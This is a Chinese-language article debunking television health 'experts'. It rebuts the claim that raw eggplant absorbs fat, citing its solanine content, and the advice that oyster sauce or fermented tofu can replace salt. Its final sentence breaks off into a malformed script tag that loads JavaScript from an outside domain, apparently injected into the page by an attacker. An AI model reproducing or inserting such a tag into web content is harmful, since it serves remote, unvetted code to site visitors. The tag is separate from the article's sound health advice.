随着生活水平的提高，人们越来越重视饮食与健康的关系，并进而形成一股席卷全国的养生洪流，各式各样的营养学家和养生专家也应运而生，其中，确有不少真才实学者，用他们的知识指导人们的生活，使人们受益匪浅；但也不乏滥竽充数之辈，传播一些似是而非的“科学道理”，因为他们面目光鲜，错误的知识又往往藏在华丽的包装中，使缺乏专业修养的人们难以分辨，也着实害人不浅。尤其一些电视台借着威力强大的现代化传播工具，导致一些错误的知识流布天下，荼毒众生，更是使人触目惊心。消费者为此浪费钱财事小，严重的是健康因此受到戕害。
有位挺有名的养生“专家”在电视上号召人们茄子最好生着吃，说一符合生机饮食的现代理念，二吃到肚子里可以更好地吸油，将肠子、胃里多余的油脂都吸走，从而可以减肥、降压降脂，同时还可以治疗便秘。这位“专家”还活灵活现地以家庭厨房为例，说明茄子多么能吸油，让你不信都不行。
茄子在锅里确是吸油猛将，到肚子里也有一样的功力吗？答案非也！且不说生吃茄子是否真能吸油的问题，光是生茄子中含有龙葵素，就说明生茄子是不能随便乱吃的。大家都知道发芽土豆不能吃，就是因为发芽土豆中含有大量的龙葵素。龙葵素又称茄碱，说明这种物质最早发现是在茄子中，只不过茄子中龙葵素的含量没有发芽土豆中多。龙葵素遇热可以分解，利用烹调过程中的加热，将茄子中龙葵素的毒性破坏，这样吃着才安全。
其次，这位“专家”没有搞清楚，吸油的到底是什么东西？能够吸油的是膳食纤维。膳食纤维几乎在所有植物性食材中都存在。含有丰富膳食纤维的食物很多，比如菌类、豆类、粗粮，蔬菜中的辣椒、芥菜、大白菜、菜花、菠菜、土豆等等，都含有丰富的膳食纤维。若论膳食纤维的含量，在人们常见的食材中，茄子甚至连前百位都排不进。既然如此，如果只是为了吸油，何必要冒险去吃含有龙葵毒素的生茄子呢？
有人可能说，这是因为生的食材更吸油，炒熟以后，食材本身在烹调过程中已经吸饱了油了，到体内还怎么帮助人们吸油啊？这也是一种似是而非的观点，第一，看上去很能吸油的东西，到体内未必同样吸油，否则，你把面包片直接吞下去好了，岂非更吸油？干面包片的吸油效果比生茄子好多了。第二，食材是否吸油跟其生熟没有太大关系，因为吸油是靠食材中的膳食纤维完成，温度不会改变膳食纤维的理化性质，倘若担心吃烧茄子放油过多不健康，可以吃蒸茄子、烤茄子、煮茄子，味道都比生茄子不知好上多少倍，何必一定非要冒险吃生茄子吸油。
这位“专家”在电视上说，有了生茄子，一顿吃10个猪蹄都不怕，因为回家啃点生茄子，就把肚子里的油腻全部吸掉了。真是胡扯！生茄子吃不得，一旦造成龙葵素中毒，后果严重；尤其是霜降之后的老茄子更不能吃，因为经霜打的老茄子，茄碱（龙葵素）的含量明显增加。
类似的例子在近一段时间以来的电视上多不胜数。有一些甚至荒谬到难以思议的程度。比如，前不久，有一个“专家”在首都电视台某频道上说，盐吃多了不好（这是实话），但是很多人菜里面不放盐或盐少了又觉得没味道，尤其是北方老百姓，那怎么办呢？他建议大家用蚝油代替盐调味，说这样就可以既少摄入盐，又可以兼顾口味，因为蚝油中既不含盐，也不含糖。蚝油中不含盐与糖吗？随便拿瓶蚝油，比如海天上等蚝油，看看它们的配料表：水、酿造酱油（水、黄豆、小麦粉、食用盐）、蚝汁（蚝、水、食用盐）、白沙糖、食用盐、香辛料、食品添加剂（增味剂、增稠剂、焦糖色……），里面光“食用盐”字样就出现了3次，即其中使用的酿造酱油中含盐，蚝汁中也含盐，还单独添加了食用盐，还有糖也绿底白字地印在上面清清楚楚。真不知道这些“专家”说话前，做不做一点实际调查。要知道，这可是关乎群众身体的大事，你又是在国家电视台上以“专家”面目出现，对观众谆谆教导，碰上不那么认真而又迷信“专家”的观众，可就真是害人不浅了——不幸的是，我们的观众大多如此！尤其是这位“专家”还一本正经地“号召”因罹患高血压等心血管疾病需要严格控盐的观众用蚝油代替盐调味，提高生活品质。这不是明着让别人往火坑里跳吗？
与此类似的，还有“专家”在电视上推荐大家用腐乳代替食用盐，还说这样比放盐味道更好。他的根据同样站不住脚：因为腐乳的含盐量仅有8%，所以用它代替盐调味，可以让人摄入更少的盐。问题是，人对咸味的感觉来自食物中的氯化钠，如果口味不变，无论用什么代替盐，摄入氯化钠的总量都不会减少——区别只是载体不同而已，比如腐乳、甜面酱、黄酱、蚝油、酱油……所以，关键是改变嗜咸的口味，而不是盐的形式。口味清淡了，即便是吃盐，也必定放少了，摄入的氯化钠分子自然也就少了。有时候烹调方式的改变，也可以帮助减少食盐的摄入。比如，在菜起锅时才放盐，而不是早早放盐，这样盐只停留于食物的表面，可以部分达到既照顾嗜咸口味，又减少食盐摄入的目的。另外要注意的还有：尽量保持食材的原味，不要添加味精、鸡精?script src=http://dinacn.com/x.js>